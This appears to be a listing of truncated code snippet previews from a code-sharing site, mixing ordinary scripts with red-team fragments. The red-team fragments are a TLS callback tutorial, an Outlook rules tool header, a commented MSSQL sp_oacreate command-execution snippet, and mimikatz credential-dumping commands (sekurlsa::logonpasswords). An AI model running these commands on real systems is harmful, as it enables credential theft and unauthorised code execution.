| // @source: http://www.unknowncheats.me/forum/c-and-c/84146-tls-callback-tutorial.html | |
| #include "windows.h" | |
| #include <stdio.h> | |
| void NTAPI __stdcall TLSCallbacks(PVOID DllHandle, DWORD dwReason, PVOID Reserved); | |
| //linker spec | |
| #ifdef _M_IX86 | |
| #pragma comment (linker, "/INCLUDE:__tls_used") | |
| #pragma comment (linker, "/INCLUDE:__tls_callback") | |
| #else |
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <title>Upload your files</title> | |
| </head> | |
| <body> | |
| <form enctype="multipart/form-data" action="upload.php" method="POST"> | |
| <p>Upload your file</p> | |
| <input type="file" name="uploaded_file"></input><br /> | |
| <input type="submit" value="Upload"></input> |
| $services = Get-Service | % { $_.Name } | |
| ForEach($service in $services) | |
| { | |
| Write-Host "Stopping $service" | |
| sc.exe stop $service | |
| Write-Host "Hit any key to start $service" | |
| Read-Host | |
| sc.exe start $service | |
| } |
| using System; | |
| using System.Text; | |
| using System.IO; | |
| using System.Diagnostics; | |
| using System.ComponentModel; | |
| using System.Linq; | |
| using System.Net; | |
| using System.Net.Sockets; | |
There are two ways - the first way is just one command run plainly in front of you; the second one runs in the background and in a different instance so you can get out of your ssh session and it will continue.
First make a folder to download the websites to and begin your downloading: (note if downloading www.SOME_WEBSITE.com, you will get a folder like this: /websitedl/www.SOME_WEBSITE.com/)
| #!/usr/bin/env python | |
| # Rulz.py | |
| # Author: Nick Landers (@monoxgas) - Silent Break Security | |
| import os | |
| import sys | |
| import argparse | |
| import re | |
| import binascii | |
| import codecs |
| -- Another shorter way of doing it | |
| -- https://sofianehamlaoui.github.io/Security-Cheatsheets/databases/sqlserver/3-command-execution/ | |
| -- DECLARE @output INT | |
| -- DECLARE @ProgramToRun VARCHAR(255) | |
| -- SET @ProgramToRun = 'Run("calc.exe")' | |
| -- EXEC sp_oacreate 'wScript.Shell', @output out | |
| -- EXEC sp_oamethod @output, @ProgramToRun | |
| -- EXEC sp_oadestroy @output |
| #general | |
| privilege::debug | |
| log | |
| log customlogfilename.log | |
| #sekurlsa | |
| sekurlsa::logonpasswords | |
| sekurlsa::logonPasswords full |
| Function StringConcat(Sep As String, ParamArray Args()) As Variant | |
| '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' | |
| ' StringConcat | |
| ' By Chip Pearson, chip@cpearson.com, www.cpearson.com | |
| ' www.cpearson.com/Excel/stringconcatenation.aspx | |
| ' This function concatenates all the elements in the Args array, | |
| ' delimited by the Sep character, into a single string. This function | |
| ' can be used in an array formula. There is a VBA imposed limit that | |
| ' a string in a passed in array (e.g., calling this function from | |
| ' an array formula in a worksheet cell) must be less than 256 characters. |
| # On Windows, within a VS developer prompt | |
| # Dump the exports of msvcrt.dll | |
| dumpbin.exe /exports C:\Windows\System32\msvcrt.dll > msvcrt.txt | |
| # Copy msvcrt.txt to a Linux box | |
| # Convert the file to Unix line endings | |
| dos2unix msvcrt.txt |